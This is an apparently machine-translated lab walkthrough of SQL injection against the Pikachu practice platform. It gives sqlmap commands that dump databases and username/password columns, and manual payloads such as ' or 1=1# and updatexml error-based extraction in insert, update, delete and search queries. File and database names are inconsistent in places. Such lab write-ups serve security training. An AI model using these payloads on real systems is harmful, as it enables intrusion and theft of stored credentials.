.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
Foreword:
Software: Burpsqlmap software configuration
Set the proxy
Open the Firefox browser that comes with kali Click Settings --Network Settings
Vulnerable environment installation
Digital Injection (post)
Use burp to catch the package and save the file in the package as 33.txt
Explode the database
sqlmap -r '/root/22.txt' --dbs
Exploded Table
sqlmap -r '22.txt' -D lou --tables
Explode the table structure
sqlmap -r '22.txt' -D lou -T users --columns
Explode table data
sqlmap -r '/root/33.txt' -D kalibc -T users -C 'username,password' --dump
Video
Character injection
Open character injection in Pikachu
Character injection
The principle of character injection is ‘false’ or true#’ is always true
Connect to the database, enter select * id,email from member where id=‘KOBE’
Will output the email of the KOBE account
So, we can imagine that if we enter a piece of character in the input box and make it reasonably spliced into SQL, can we perform the traversal?
We enter kali’ or 1=1# in the input box (the first single quote is spliced with the original sql and comment out the original 'after #')
sqlmap injection (search type) injection
Verify whether there is injection
We directly enter a character k and click to search.
No exception is seen
We enter the keyword %k%
The effects are as follows:
QQ screenshot 20190404110711.png
At this point, we can conclude that there is a search-type injection vulnerability
Attack method one
Use burp to capture the package and save the file in the package as 22.txt
Put 22.txt into the root directory of sqlmap 
/usr/share/sqlmap
Explode the database
sqlmap -r '22.txt' --dbs
Method 2
No need to catch the package and save the file, execute the command directly
sqlmap -u http://192.168.123.129/vul/sqli/sqli_search.php? --data 'name=*submit=%E6%90%9C%E7%B4%A2' --dbs analysis: SQL's fuzzy query command select * from table name where field name like '% (corresponding value)%'; it is found that the splicing of universal statements can be realized according to the previous idea.
Write the splicing statement as '%xxxx%'or 1=1 #%' Back to the pikachu platform to try
xx-type injection
Since the XX type is only the SQL splicing method is different, the result is directly placed here. xx')or 1=1#
sql update/insert/dele injection
About update insert statement
update database update statement
insert database insert statement
First open the registration page
We fill in the data, click Submit and grab the package.
Right-click Send To Repeater Change the value of field name to kali' or updatexml(1,concat(0x7e,database()),0) or'
Click go to directly reveal the database name.
Right now! The statement changed should be: username=kali' or updatexml(1,concat(0x7e,database()),0) or'password=123456sex=phonenum=185673951111email=add=submit=submit
Get the table name
The name value is ' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='new' limit 0,1)),0) or'
username=' or updatexml(2,concat(0x7e,(select table_name from information_schema.tables where table_schema='new' limit 3,1)),0) or'password=123456sex=phonenum=185673951111email=add=submit=submit
Get column
kali' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 2,1)),0) or'
Get content
username=kali' or updatexml(1,concat(0x7e,(select concat_ws(':', username, password) from users limit 0,1)),0) or'password=123456sex=phonenum=185673951111email=add=submit=submit
update injection
Log in first
Click to modify to capture the package
Explode the database
kali'or updatexml(2,concat(0x7e,(database())),0) or'
For other purposes, please refer to the syntax mentioned above.
delete injection
Let's leave a message first
Then find the delete connection
The database version of the burst
or updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
Execute http://127.0.0.1:8888/vul/sqli/sqli_del.php?id=56%20or%20updatexml(1,concat(0x7e,(SELECT%20@@version),0x7e),1)
Successfully obtained the version burst database: or updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) burst table: or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='lou' limit 0,1)),0) or '' Column name: or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),0) or ''
HTTP Header Injection
Sometimes, backend developers verify client header information (such as commonly used cookie verification)
Or obtain some information from the client through the http header header information, such as useragent, accept field, etc.
The client's http header information will be retrieved and processed using SQL. If there is no sufficient security consideration at this time
This may result in a SQL Inject vulnerability based on http header.